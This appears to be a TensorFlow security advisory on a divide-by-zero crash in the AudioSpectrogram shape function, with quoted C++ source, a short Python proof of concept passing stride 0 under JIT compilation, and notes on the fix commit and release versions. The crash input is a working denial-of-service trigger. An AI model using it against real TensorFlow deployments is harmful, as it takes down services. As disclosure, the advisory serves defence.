version:2.11.0 //core/ops/audio ops.cc:70

Status SpectrogramShapeFn(InferenceContext* c) { ShapeHandle input; TF RETURN IF ERROR(c->WithRank(c->input(0), 2, &input)); int32 t window size; TF RETURN IF ERROR(c->GetAttr("window size", &window size)); int32 t stride; TF RETURN IF ERROR(c->GetAttr("stride", &stride)); .....[1]

DimensionHandle input length = c->Dim(input, 0); DimensionHandle input channels = c->Dim(input, 1);

DimensionHandle output length; if (!c->ValueKnown(input length)) { output length = c->UnknownDim(); } else { const int64 t input length value = c->Value(input length); const int64 t length minus window = (input length value - window size); int64 t output length value; if (length minus window < 0) { output length value = 0; } else { output length value = 1 + (length minus window / stride); .....[2] } output length = c->MakeDim(output length value); }

Get the value of stride at [1], and the used at [2]

import tensorflow as tf

para = {'input': tf.constant([[14.], [24.]], dtype=tf.float32), 'window size': 1, 'stride': 0, 'magnitude squared': False}
func = tf.raw ops.AudioSpectrogram

@tf.function(jit compile=True)
def fuzz jit():
  y = func(**para)
  return y

fuzz jit()

We have patched the issue in GitHub commit d0d4e779da0d0f56499c6fa5ba09f0a576cc6b14.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

This vulnerability has been reported by r3pwnx